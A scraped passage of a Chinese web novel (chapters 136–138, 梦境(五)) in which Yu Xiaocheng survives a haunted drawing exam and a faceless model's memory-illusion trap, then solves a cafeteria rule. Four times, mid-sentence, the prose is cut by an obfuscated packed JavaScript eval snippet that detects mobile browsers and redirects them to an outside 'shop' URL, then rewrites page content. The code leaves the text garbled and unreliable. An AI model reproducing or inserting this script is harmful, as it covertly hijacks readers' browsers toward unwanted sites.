“规则应该不会错啊……方才我闭眼的确躲过了,为什么……”俞小澄用头撞击着画板,小声嘀咕,努力想让自己冷静下来。 单浩言坐在不远处,看着沦为傀儡的章锐心烦不已,气恼地控诉着这场考试的不公平。 “妈的,考场闹鬼还怎么过?这不是妥妥要我们的命吗?!” 陈奇忽然发出一声冷哼:“认真画画!别离开画架,别睡觉!这特么都看不懂,活该没命。” 对于陈奇的话,其他人将信将疑,方才涌到考场角落的人,闻言纷纷朝画架跑去,争先恐后地抢占位子。 只是一瞬间,外围站着的人便只剩下监考官与沦为傀儡的八人。 只见那八人眨着脸上猩红的眼睛,不自然地扭动着身躯,如同行尸一般在考场内游走,却再未扑倒任何一个人。 “很好,很好,没有了讨厌的苍蝇,大家请尽情描绘出我的完美!” 站在圆形展台上的赤身模特拍手称快。 随着他的掌声响起,原本四处游荡的八人瞬间倒地,黑气从眼中逃逸四散,猩红的眼睛就此消失,八人恢复原本的模样,只是从此再无生机。 傀儡变成尸体后,几个赤身无脸男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13290067|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次出现,又如游魂一般在考场里巡逻起来,时不时凑到考生身边,引诱着考生与他们对视。 一切实在太过诡异,俞小澄脑子里乱乱的。 经陈奇提醒,她大致猜出了这些怪物的行动规律。 这些神出鬼没的东西就像寻找猎物的幽灵,一旦被他们发现考生的注意力不在绘画上,他们就会被吸引。 不过他们好像并不能强迫考生与他们对视,而闭眼回避似乎对他们有效。 然而,一旦有人陷入睡眠,他们便可强行占据那人的身体,至此傀儡产生。 傀儡的攻击力比幽灵强上许多,可以强制考生与他们对视,即使闭上眼,也无法阻挡那只眼睛的视线,而后被感染成新的傀儡。 傀儡犹如病毒一般,可以迅速且大量扩散,直至传无可传。 好在傀儡的攻击也有范围,他们只选择离开画架的考生,其存在仿佛是为了维持考场秩序,将任何不专心考试的人踢出考场。 而这一切的焦点其实是站在圆形展台上的赤身模特,不管是幽灵还是傀儡,都如同他的分身,乖巧地听从着他的指令。 如此思考一番,俞小澄又偷偷往展台方向瞄了一眼。 可惜刚看了一眼,脑袋上就挨了一笔杆。 “嗷……” 俞小澄低声闷哼,条件反射一般从画架边收回视线,轻轻揉了揉脑袋,又紧张地盯着满是鬼画符的画板,嘴里嘀咕道,“可恶,已经进化到用激怒代替迷惑了吗?” 心里想着不能上当,但被打心里是真的不爽。 下一秒,身旁传来一声嗤笑。 “嗯?” 俞小澄方觉不对劲,小心谨慎地用余光瞥了一眼,只见吴樊祐只在捂嘴偷笑,手指间还有一支笔灵活地打着转。 “你趁机报仇呢?!”俞小澄心中气闷,压低声音质问。 “何出此言?我跟学姐啥时候有仇了,我这不提醒你小心成为目标嘛!”吴樊祐勾起嘴角,露出一个无辜的笑。 听上去好像是好意,可从他脸上看,俞小澄觉得完全不是这么一回事,奈何没有证据,只能忍气吞声。 “怎么样,这一题,学姐想出怎么解了吗?”吴樊祐一副事不关己的轻松模样。 俞小澄简直无法理解他为何能做到如此淡定,难道就不害怕自己什么时候翻车吗? 她轻轻摇了摇头,将多余的想法从脑子里甩掉,叹气回道:“还能怎么办,面壁思过到考试结束吧。” 说罢,俞小澄又一只手托着下巴,一只手胡乱在纸上增添新的无意义图形。 “嚯……”吴樊祐露出一个意味深长的笑,微微点了点头,学着俞小澄的样子,继续在纸上作画。 俞小澄直觉怪怪的,不知道吴樊祐问自己的意义何在。 就像是在确认她是否有能力摆脱困局一样,可听到她说没有办法,对方又没表露出失望的心情,反倒给她一种拭目以待的错觉。 当无事可做之时,时间总变得无比漫长,考试时间才过半,一张画纸几乎已经快被俞小澄无意义的线条占满。 规则被看穿后,幽灵的威胁总算降低,只要秉持不听不看不睡的基本原则,无论幽灵如何捣乱,也再未能伤到任何一个考生。 过了一会儿,只听展台上赤身模特又拍了拍手掌,用他散漫的嗓音开始表演:“大家这么认真勾勒出我的完美轮廓,真是太令我感动了,为此我必须嘉奖各位!” 136. 梦境(五) 此话一出,俞小澄心里咯噔一下,暗道:“这变态不会又要搞幺蛾子了吧?” 握笔的手不由得一紧,她偷瞄着圆形展台上的变化。 考场内一片寂静,原本充斥其中的笔触沙沙声不知何时停止,那些穿梭于画架之间的脚步声也渐渐消失…… 俞小澄半睁着眼,盯着展台看了好一会儿,却发现站在台上的模特悠然舞动身体,仿佛为台下观众送上独舞表演。 “呵呵,这也算奖励?真是自信……”俞小澄小声念叨。 招财忽然说道:“呃……姐姐……情况好像有些不对劲……” “怎么了?”俞小澄小心翼翼地观察四周没有幽灵的身影,才转头看向招财。 只见招财面露诧异之色环顾四周,而后咽了口唾沫,说:“这些考生……都不动了……” 不动了? 俞小澄不解,转头朝吴樊祐的方向看去。 一切看上去似乎没什么改变,眼前的人依然面向画板单手支颐,另一只手握着画笔,而笔尖正落于纸面。 看了几秒,俞小澄终于发现招财所谓的“不动”,因为抵住纸面的笔尖半寸未移,看上去就像作画的人画着画着难以抵抗困意,顷刻间陷入了睡梦之中。 “吴樊祐!” 俞小澄双手挡在嘴边,低声唤着吴樊祐的名字,可是对方始终没有反应。 心中升起一丝不祥的预感,俞小澄随即转头看向另一边。几乎是同样的场景,只是画面中的主角从吴樊祐换到了白羽楠。 两人都像是失去了意识,对她的呼唤没有给予任何回应。 不会吧? 对于同伴遇害这种事的恐惧让她手足无措,仿佛整个世界只剩下她一人。 俞小澄手足无措地转回展台方向,赤身模特无比陶醉地翩然起舞,似乎根本不关心考场内的其他人。 俞小澄茫然地从位子上站了起来,弯腰俯身往吴樊祐身旁走去,抓着他的肩膀晃了晃,依然没有回应,又揪了揪他的脸,还是一动不动。 她压抑着心中的不安,颤抖着伸出手指,探到吴樊祐鼻下。 还好,呼吸尚在,并且很平稳,好像只是睡着了似的。 可是究竟发生了什么事,为何整个考场内的考生都陷入了沉睡呢? 俞小澄一头雾水,更奇怪的是为什么她自己成了唯一清醒的那个人? 这究竟是一种什么怪力? 俞小澄充满好奇,这种好奇心甚至超过了对未知的恐惧,竟然产生一个念头——他会不会就是恶灵? “进宝……” 俞小澄缩在吴樊祐脚边,借着画架遮挡着身子,偷看着陶醉于独舞的怪人,心中打起了算盘。 听到她的呼唤,进宝满脸胆怯地挪到了她身边,小手紧紧抓住她的衣摆,轻声回应:“姐姐,进宝在,你是不是想到办法带进宝离开这里了?” 看进宝的状态,明显吓破了胆,俞小澄苦笑着指了指圆形展台的赤身无脸男模,问:“进宝,你是只能吃掉恶灵,还是什么人都能吃?” “姐姐你说这种话真是吓人……进宝可做不出这种吓人的事。”进宝撅着嘴,悻悻然回答。 “?” 俞小澄愕然,转而看了一眼招财,招财笑得有些勉强,挠着头,解释道:“进宝没有附身记忆,你问她没用。” “怎么会……”俞小澄整个人都傻眼了。 “到底怎么回事,我也说不清楚,一旦附身,进宝便会性情大变,十分容易失控。至于她能吞噬的对象,这个还真没有什么能吃什么不能吃的说法,但……” 说到此处,招财面露难色。 “有什么禁忌吗?”俞小澄弱弱问道。 招财纠结片刻才接着说道:“唉,也不知道算不算禁忌,姐姐也知道的,进宝的胃口也就吞得下一人,如果无法确定恶灵的身份,恐怕……” “恐怕等到真找到恶灵时,进宝已经进入饱困状态了?”俞小澄笑容僵住。 俞小澄看着蹲在自己身边弱小又无助的进宝,对这种限制甚多的能力实在有些无言以对,不知是不是穷途旅店特意限制了进宝这逆天的能力。 如果赤身无脸男模不是恶灵呢? 心中不免开始打鼓,她的杀手锏只有一次使用机会,一旦错了,她可能就没法对付恶灵了。 “要不还是先确定一下他的身份吧……”俞小澄自言自语。 说着,俞小澄暗自决定上前打探一番,心里盘算着要如何从对方口中获得自己想要的信息,同时还不违反考场规则被踢出局。 按照方才推测出的杀人机制,兴许她蒙上眼再去同那人攀谈,并不会导致自己落难。 如此思索一番,俞小澄握拳给自己加油打气,深吸一口气,壮着胆子站了起来。 可她刚想迈步向前,手腕一紧,一只手扣了上来,那力道将她往下一带,她便又摔回了吴樊祐的大腿边。 俞小澄条件反射地闭上了眼,浑身僵硬地蹲在原地,只觉手脚冰凉,心跳加速,脑子快速思考着该怎么办。 “什么时候出现的?刚才明明全都消失了啊……” 她低声骂道,只怪自己大意,竟没注意又有幽灵出没,不过只要不与其对视,应该还能应付。 “说谁消失喃?学姐就不能盼着我好吗?” 耳边忽然传来吴樊祐的调侃声,惊得俞小澄想也没想就转头回望,果然看到吴樊祐那张熟悉的脸,正凑到近处冲她微笑。 刚欣喜地想问吴樊祐怎么回事,俞小澄的额头就迎来吴樊祐不客气的指节轻敲。 “学姐怎么这么不谨慎?不怕是怪物模仿我的声音骗你的吗?如果我是那怪物,你现在已经与我对视出局了!” 吴樊祐的话说得很轻,不带责备,更似温柔的提醒。 习惯了吴樊祐的调侃与捉弄,俞小澄竟有些不适应他直白的好意,轻轻咳了一声,强辩道:“怪物可掌握不了你说话的风格!” “哦?我是什么风格?”吴樊祐扬起嘴角,一脸期待。 “气人!” “……” 吴樊祐扶额摇头,俞小澄得逞偷笑。 而后俞小澄才想起回归正题,询问吴樊祐怎么突然有了反应,又将所有人失去意识的事告诉了吴樊祐。 吴樊祐面色忽然一沉,眉头几不可察地皱了皱,眼神飘忽不定,不知有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305596|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么苦恼的事。 过了好一会儿,他才抬手指了指俞小澄的画板,庄重严肃地说:“你去看看你画的画就明白是怎么一回事了。” 俞小澄心中不解,但还是依言半蹲着身子挪回自己的位子上,然后盯着自己那幅抽象线条堆砌的鬼画符,心想:看这画能看出什么? 谁知视线刚撞上画纸,瞬间感觉再也移不开目光,那些弯弯扭扭毫无意义的线条犹如有了生命,在纸上旋转组合,渐渐汇成一个巨大的漩涡,将俞小澄吸入其中。 回过神时,俞小澄站在一间熟悉的活动室中——超自然社团,在她大学五年的苦闷生活中,那是唯一逃避现实风浪,暂得喘息的港湾。 此刻的场景她无比熟悉,那是进入大学的第二年,社团迎来新社员,可偏偏闹出了社团闹鬼的谣言。 当所有人都执迷于相信活动室不干净,从科学监测到宗教驱鬼,从玄学通灵再到娱乐试胆,那几日,这场闹鬼犹如超自然社团的庆典。 大概只有俞小澄一人,始终不信鬼魂的存在,当他人以此为乐时,她只一心想调查出所谓闹鬼的真相。 而最终的结果,还真被她锲而不舍的精神征服,一场前辈设计好的闹剧就此浮出水面。 面对真相,俞小澄心满意足,可随之而来的不是赞赏,而是厌恶,笑她不懂人情世故,怪她破坏社团气氛。 而此刻,正是谎言被拆穿的时刻。 她被人用眼神指指点点抬不起头,那些不友善的窃窃私语,那些不顾情面的冷嘲热讽,让她如坐针毡,成为今后很长一段时间的噩梦,告诫她从此小心翼翼地生活。 即便重来一次,这感觉也让俞小澄羞愧难当,将自己藏进不易被人察觉的角落。 在书架靠近窗口的角落,俞小澄坐在那道刚好容下一人的缝隙中,听着社员不满的“背后议论”,煎熬地等待着社团活动时间结束。 她依稀记得自己在那时生出过退社的冲动,可为何又继续坚持了四年呢? 好像在那以后又发生了什么,从此让她对这个地方产生了一丝留恋,她明明应该记得,可脑子里竟一片混沌,如同被酒精麻痹了大脑,怎么想也想不出。 时间在漫长的煎熬中度过,活动室内的人陆续离开,夕阳的余晖从窗户溜进房中,倾洒了一地柔和的橙黄色光芒。 俞小澄将手脚伸进这片迷人的光景中,仿佛汲取着太阳的余温,驱赶着心中挥之不散的阴云。 就在她自娱自乐时,一双脚出现在她视野中,踩着金色的光芒,一步一步缓缓靠近,最后高大的身影遮挡住洒入房间的余晖,背光而立,微微弯腰,向她伸出了手。 “原来你在这儿。” 那个声音无比耳熟,可俞小澄一时想不起眼前的人是谁,记忆就像蒙上了一层雾,模模糊糊隐藏其中,无论如何挥手,也驱散不开这层朦胧。 “你是谁?你认识我?”俞小澄仰着头,试图看清那张背光的脸,可窗外的余晖实在耀眼,令她不得不以手遮蔽。 “你不记得我了吗?那你起来,好好看看我的脸,我相信只需要一眼,你立刻就能认出我!”那人自信满满地回答道,并俯身牵起俞小澄的手。 137. 梦境(五) 手上的触感原本应该是熟悉的,可此刻居然透着陌生感,令俞小澄心生困惑,本能地甩开了那只手。 “怎么了?”那只手悬停在半空中,那人说话的语气有些迟疑,“有什么地方不对吗?” 分明应当是十分重要的记忆,可不知为何回忆不起当时的细节,而此时出现的人非但不能帮她找回当时的感觉,反而让她困惑不已。 “不是,你谁啊你?”俞小澄神情厌倦地将脑袋斜靠在书架上,望着窗外余晖,心中的惆怅无处宣泄。 不对劲,自从这人出现在眼前,感觉整个记忆都串了味。 “我是谁?你仔细看看我的脸。”那人一边说着,一边单膝跪地凑到了俞小澄面前。 俞小澄侧目而视,只是一眼便瞬间清醒了。 那是一张没有五官的脸,却用着吴樊祐的声音同她说话,又或者说,是因为记忆中出现的人本应是吴樊祐,所以她下意识地听成了吴樊祐的声音。 因为此刻传入她耳朵里的,分明是赤身无脸男模那一如既往散漫的嗓音。 “怎么样?记起我是谁了吗?”男人问。 俞小澄不自觉地往后缩了缩身子,可惜背后是墙,退无可退,她被堵在这个狭小的角落里,就是想逃也逃不了。 “呵呵,我……应该……记起……什么……吗?”俞小澄表情僵硬,说话迟缓,心中急切想要弄清究竟是怎么一回事。 内心在呐喊:“我现在是跟他对视了吗?” 一想到可能存在的危险,俞小澄忙不迭转移了视线,强装一副忧郁的模样仰望窗外夕阳,其实内心苦不堪言。 “怎么会呢……啧,什么猪脑子,重要的记忆也能遗忘?还是细节抹除得太过了?”男人侧过身,摸着下巴,低声呢喃。 此刻,俞小澄无比肯定,她落入了赤身无脸男模的圈套。 可,一切是怎么发生的呢? 对了,那幅画,当她检查自己那幅鬼画符时,无意识被拉入了某种幻境,一种基于她记忆创造的幻境。 刚才她正对上了那人的脸,但身上并无异样的感觉,显然她并未触发禁忌。 为什么呢? 一番思考后,俞小澄稳定了心神,倚着墙缓缓站起身。 听着男人的呢喃自语,她隐约觉得男人是想要让自己将他认成记忆中的人。 然而因为一开始感觉到的违和感,令她未能将男人与吴樊祐联系到一起,致使他以本来面目出现在眼前。 那么,会不会,当她将男人误认成吴樊祐时,规则禁止的对视才会成为禁忌呢? 思及此处,俞小澄轻咳一声,打断了陷入自我怀疑的男人,直视着那张没有五官的脸,小心提问:“嘞个,你叫什么名字?” 男人身形一顿,说话明显有些迟疑,“你问我?你不知道我的名字吗?哈哈哈……你猜!” 仿佛破罐子破摔一般,男人将问题原封不动抛了回来。 此刻俞小澄心中了然——赤身无脸男模虽然可以借她的记忆创造幻境,却无法读取记忆中的细节。 所以他只知道俞小澄将在这一幕见到对自己来说十分重要的人,却不知道那人是谁,二人之间又经历了什么。 也正因如此,他让俞小澄的记忆变得模糊不清,借机伪装成本应出现的人。 这人骄傲自大,看上去也不太聪明,并且还有弱点。 “我们这是第一次见面,我怎么猜得出你的名字呢?”俞小澄悄悄翻着白眼,假装平静地回答。 男人倒吸一口凉气,转身走到窗边,一边摇头,一边小声自言自语:“啧,初次见面有啥好回忆,难怪没长出脸,看来是我大意了……” 正当俞小澄想趁机打探他身份之时,忽见男人抬起手,背对着俞小澄打了个响指。 刹那间,房中一切连同男人的身体,全都化成凌乱的线条,彼此纠缠旋转,在如同白纸一般的世界,将俞小澄彻底包裹。 俞小澄只觉眼前一黑,脑子有些发懵,仿佛有一只手打开了她埋藏记忆的箱子,下一秒,周围景色变换,回过神时,她已坐在学校食堂的角落里。 不知重复了多少岁月,形单影只始终是她的主旋律,仿佛被这世上的喧嚣排除在外,融入不进去,也无法假装不在意。 看别人三五成群,她总在内心羡慕不已,可自卑让她总恐惧他人的眼光。 直到那人出现,笑容和煦,喊她“学姐”,明知故问地问她是不是一个人,还强装自己也是一个人,顶着被他抛弃的同伴刀人的眼神,厚着脸皮坐到她对面。 正在回想之际,一个人影穿过人海向她靠近,在她诧异的眼神注视下,自顾自地坐到了对面,将额前刘海往后一捋,自认帅气地开口道:“美女,你是不是在等我啊?” 好的,还是你! 看着没有五官的脸,俞小澄不知是忧是喜,这油腻的开场白彻底毁了她不舍的记忆,她是半点也无法将眼前之人与吴樊祐联系到一起。 “大哥,你没事吧?你这样真的骗得了人?” 俞小澄的内心在咆哮,恨不得跟男人摊牌,让他别白费力气。 不过最终她还是忍了下来,只语气平静地问了句:“对不起,你是?” 男人微微愣了愣神,而后坐直了身子,双手环抱胸前,焦虑地抖着脚,一副失去耐心的样子。 “我是谁你看不出吗?你是不是回忆里只有你自己啊?!”男人恼羞成怒一般尖声质疑。 俞小澄有种被人毫不留情重伤的感觉,心里一梗,顺势回怼:“你一定也不受欢迎吧?所以都意识不到自己这样说话很败好感。” “你、你、你……岂有此理!像我这样完美的人,怎么可能不受欢迎!” 俞小澄的话好像戳中了男人的痛点,他歇斯底里地叫嚣着要将俞小澄永远留在画里。 说罢又抬手打了个响指,人与景重归线条,交缠着向俞小澄汇聚,让她坠入漩涡里。 场景再度变化,俞小澄站在树荫里,而她正对着的教学大楼阶梯上,站着一男一女,女子羞涩中鼓起勇气,男人表情平静。 因为那个画面太过和谐,实在没有她插足的可能性,所以她只是静静看了片刻,便借着树荫遮掩,失落地逃离了现场。 果然到了这段记忆…… 俞小澄一边远离是非地,一边小声嘀咕:“啊,不是,你选这段记忆,我连捧场都做不到啊!” 在这段记忆中,她仅仅是个旁观者,是个胆怯落荒而逃的失败者,跟她心中重要的那个人连面都没碰上,俞小澄实在不知道赤身无脸男模想让她如何认错人。 “看来,如果将他错认成记忆中的某人,就会被困在画中……”俞小澄自言自语。 这是方才男人无意间透露出来的信息,不过她现在还不知道要如何离开这里。 回想起进画前恢复了意识的吴樊祐,她估计男人在吴樊祐的画中也以失败告终,不禁觉得好笑。 此刻她几乎可以肯定,赤身无脸男模绝不是恶灵,而是恶灵创造出来折磨玩家的NPC。 就凭他这智商,属实想不出那么多变态的规则。 再者,就恶灵的目的性而言,果然还是无脸考生更加可疑。 俞小澄无比庆幸自己没有冲动之下,借进宝附身吃掉这个作妖的男人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317878|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然又想到是吴樊祐指路,让她进入了画中世界,被迫与赤身无脸男模玩起了回忆游戏,心中烧起了一把无名火。 “吴樊祐,你是不是有病!”俞小澄忍不住大骂一声。 他明明可以直接告诉她发生了什么事,可他偏偏引导她看画,从而害她落入了圈套。 这是什么恶趣味? 难道是因为游戏不难,他觉得蠢哭了,所以要让俞小澄也感受一下? 可是万一喃? 她觉得无论如何,等出去了,一定要找吴樊祐要一个说法,否则这口气她实在咽不下。 漫无目的地在记忆中的校园闲逛,不知过了多久,四周景色与人重新崩裂成线,大概率是男人始终找不到俞小澄,气恼地决定开启下一段记忆。 接下来的时间里,男人无数次尝试,无数次失败。 不管是公共课上的偶遇,还是运动场上的遥望,亦或是社团活动的合作,他的出现都只能换得一句:“你是谁?” 他从未听到俞小澄喊出那人的名字,这让他的表演无从进行下去。 屡战屡败后,他终于彻底死心,对着俞小澄就是一顿说教:“你的回忆怎么如此无趣!救命,你到底活得有多不幸!可悲,实在可悲!” 明明赢了游戏的俞小澄,感觉不到一丝愉悦,反倒有种被人羞辱的感觉,不禁气红了双眼,正想反唇相讥,却被无情扔出了画中世界。 再睁眼,俞小澄已经回到了画板前,维持着进画前的姿势,耳边传来吵杂的声音,竟是考试时间已经结束了。 不少考生站在画架前活动着身子,只有两人身体僵硬地坐在画前,眼睛直勾勾地盯着画纸,浑然没了呼吸。 俞小澄转头才发现,吴樊祐和白羽楠正一左一右蹲在自己身边。 见她清醒过来,白羽楠激动地搂着她的脖子,倾诉自己的担忧;吴樊祐却在俞小澄无暇顾及他时轻轻叹了一口气。 俞小澄安抚完白羽楠,才想起被骗进画这件事,她一气之下揪住了吴樊祐的耳朵,厉声质问:“你是不是故意的?我活着出来是不是让你失望了?啊?” 俞小澄不过说的气话,心里其实并未这样想,因为与吴樊祐置气,所以说的话稍微夸张了些。 然而这句话似乎刺痛了吴樊祐,他表情一怔,而后严肃正经地指天发誓:“我如果有害学姐之心,必不得好死!” 这一瞬间,俞小澄心生愧疚,感觉自己太过敏感了些,脸颊微红,努力找补道:“我……不是这个意思……就……那NPC其实挺蠢的,进去时间也过得挺快的,嗯,不是想责怪你……” 有时候,俞小澄真不喜欢自己心软的个性,一旦别人表现出一丁点委屈,她总会优先反省是不是自己过分了。 吴樊祐微微扬起嘴角,露出一个没心没肺的笑,将俞小澄揪住他耳朵的手握在手心,不要脸地说道:“我就知道学姐是相信我的!” 俞小澄慌张地将手抽回,心中暗骂道:笨蛋,别被这小子糊弄过去了!俞小澄啊俞小澄,你清醒点! “所以你干嘛要让我看画?”整理好情绪后,俞小澄重新提问。 吴樊祐一脸无辜地解释:“啊,我当时一定不太清醒,等我回过神想提醒你不能看画时,你已经……” “……”俞小澄一脸无语地盯着吴樊祐。 白羽楠忍不住骂道:“你是真能坑人!还好小澄姐没事。” 俞小澄不想在这件事上纠结太长时间,招呼二人准备离开考场,却在路过一名考生身后时,视线被那人的画作占据。 那幅画上画着一张她无比熟悉的脸,竟然是她自己。 138. 梦境(五) 俞小澄惊讶地停住了脚步,看着画纸上自己的脸,可是画架前的人早已消失不见。 她的视线在陆续退场的人中搜寻,可根本分不清到底是谁画了这张画。 吴樊祐和白羽楠见她没跟上,又逆着人流倒退回来,关切地问她发生了何事,她一时说不清,只是指了指那张画。 看到画上与俞小澄相同的那张脸,二人脸色各异。 白羽楠一副欣赏的表情:“哇,画功高超,简直跟照片差不多了!” 吴樊祐眼神凌厉:“谁画的?” 没有人知道这张画究竟出自何人之手,更无从查起,可这幅画的出现让三人心中疑惑不已。 走出考场,白羽楠的视线不停在走廊中的人身上扫过,低声说出心中疑问:“为什么要画小澄姐?” 吴樊祐则直接将陈奇、单浩言、方英彦抓了过来,一脸不耐烦地要求三人交代画了什么。 陈奇:“画个屁,劳资哪儿懂画画,一直在临摹劳资的手掌。” 单浩言:“干嘛这么问,画什么很重要吗?我画的家里宠物,怎么了?” 方英彦:“我当然是画我自己咯。” 听完三人回答,吴樊祐挥了挥手,冷冷回了句:“没事了,你们可以走了。” 简直让三人一脸问号,想要追问,又被吴樊祐凶狠地瞪了一眼,于是灰溜溜地移步他处。 “不是他们,那也没什么人可能画小澄姐了吧,总不能是章锐吧……”白羽楠一边思索着一边说道。 吴樊祐冷哼一声:“就章锐那样子,能是懂画画的人?” 白羽楠点头同意:“也对,打人也许还行,画人嘛……不太可信。” “那就剩下无脸考生了……”俞小澄若有所思。 无脸考生她都不认识,为何会有人给她画肖像画呢? 这明显不太合理。 “会不会……”白羽楠似乎想到了什么,不自觉地咽了咽唾沫,看上去有些紧张。 “什么?”吴樊祐和俞小澄异口同声追问。 白羽楠想了想,艰难地开了口:“虽然这么说有些晦气,可我在想,会不会画小澄姐的人就是恶灵。” “恶灵?恶灵干嘛要画我?”俞小澄不太认同这种猜想。 吴樊祐似乎对这种说法有些在意,思索片刻,皱起了眉头,“你被恶灵盯上了。” 此话一出,俞小澄感觉背后升起一阵凉意,她下意识地后退,将后背贴在了走廊墙壁上,苦笑道:“盯我干嘛……我好像没干什么出格的事啊……” 白羽楠赞同吴樊祐的说话,道:“有可能,会不会恶灵知道你有办法消灭它,所以视你为眼中钉?” 这话题越说越让俞小澄感觉恐惧,如果真如二人所说,那今后俞小澄必定会陷入不可预知的危机,光是想一想,就令她不寒而栗。 招财贴心地抚摸着俞小澄的头,用明快的声音安慰道:“姐姐放心,我和进宝一定会保护姐姐的!” 俞小澄心中虽感动,可并不敢完全放心,因为她还没找出恶灵的身份和消灭恶灵的道具,敌在暗我在明,若要一战,她并不占优势。 兴许唯一可以赌上一把的是,恶灵为了杀她主动暴露自己,那么她还能借进宝之力,将其吞噬。 不过,事情真的能有那么顺利吗? 俞小澄不敢肯定。 “总之,今后小澄姐得小心一些,有什么事别一个人承担,我也会保护小澄姐的!”白羽楠搂着俞小澄的肩膀,轻抚安慰。 俞小澄觉得心里暖暖的,强挤出一个笑容,想让白羽楠放宽心。 反观吴樊祐,他并没有任何安慰的话语,全程皱紧眉头,不知心里在想着什么事。 又一次走进食堂,俞小澄第一时间看向了四周墙壁,这一次的宣传海报上用红字强调着宣传标语——素食主义。 经过上一回的教训,俞小澄已经不敢说自己弄清了食堂的规则,她觉得自己肯定忽略了什么重要的细节。 “这一顿又不吃吗?”方英彦摸着咕咕叫的肚子,一脸的犹豫。 单浩言同样忍受着饥饿,仔细观察着周围:“等等看吧,这规则好像有陷阱。” 果然最保险的方式就是等待其他小白鼠走入实验房间,然后为他们传递或正确或错误的选项答案。 “妈呀,如果剩下的人全都这么想,那该怎么办?饿到最后一天?”陈奇煽风点火一般说道。 白羽楠不爽地怼了他一句:“奇哥,那你倒是想想规则在哪里啊。” 陈奇一脸不快,指了指墙上海报叫嚣道:“规则肯定就在海报上啊!你以为我跟你一样蠢啊!但是之前推断出来的结果,在上次突然被推翻了啊,谁知道恶灵是不是在乱改规则……” 吴樊祐又送上了一声冷笑,道:“规则一开始就定好了,不可能改变。” “你又知道了……”陈奇不敢正面硬刚,只是不满地嘟囔一句。 俞小澄看着墙上海报沉思了许久,语气平静地说道:“这些标语一定是提示,只是规律我们没发现而已,为什么前两次都对应上了,第三次就反转了呢?” “啊!”白羽楠盯着墙上的文字,忽然惊呼一声。 众人的视线齐齐落在白羽楠身上,她有些不好意思:“是不是颜色啊?” “颜色?”单浩言的视线转移到海报上,忽然意识到什么,“我记得宣传语的颜色好像改变过一次!” 这句话立刻引发众人回忆,纷纷表示的确出现过文字颜色差异,可具体哪一次是哪种颜色,却没人记得清。 此时俞小澄拍了拍吴樊祐的后背,将人从走神状态中拉回,说:“到你表现的时候了,你不会说你也不记得吧?” “嘻,如果我说不记得呢?”吴樊祐眯眼笑了起来。 俞小澄只是挑了挑眉,还未给出回答,吴樊祐便立刻服软,老实交代:“记得,记得,怎么敢不记得。前两次是红字,第三次是绿字,这次变回红字,学姐怎么看?” “红字安全指示,绿字危险预警。”俞小澄如此猜测道。 按照几次规则提示的变化规律,俞小澄得出这样的结论,其他人自然能够理解,但理解是一回事,是否敢尝试是另一回事。 虽然当俞小澄说出规律时,陈奇等人连连点头同意,但是同意过后,谁也没有起身去窗口拿餐食。 终究理论比不过实践,没有人验证这条规律的准确性,谁又敢用自己的生命做赌注呢? 他们的犹豫让俞小澄都不自信了,直到吴樊祐在众目睽睽下站起身,径直去往素食窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333853|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,端回一份素食套餐。 “不能吃肉还真是折磨人。” 吴樊祐哀怨地感叹一句,随即自顾自地吃了起来。 俞小澄一时不知说他什么好,这种冒险又何尝不是对她猜想的信任呢? 俞小澄和白羽楠紧随其后,为自己取回了餐食。至于其他人,一直等到他们三人吃完后确定无事后,才陆续起身前往窗口。 午餐过后的闲聊中,吴樊祐忽然问俞小澄在画中看到了什么,俞小澄刚想回答,忽然心中生出一丝犹豫。 大家看到的是不是真是弥足珍贵的回忆呢? 如果她直说自己看到的是大学时有关吴樊祐的回忆,那岂不是变相表白了吗? 如此一想,刚到嘴边的话瞬间被她吞回,俞小澄话锋一转,反问:“你看到了什么?怎么那么快就醒过来了?” 吴樊祐看着俞小澄露出意味深长的笑,用调侃的语气回道:“如果你记忆中的女人突然变成了男人,你会不会被吓醒呢?” 俞小澄先是忍俊不禁,接着又开始好奇吴樊祐记忆中的女人是谁,却又不好意思开口明着问。 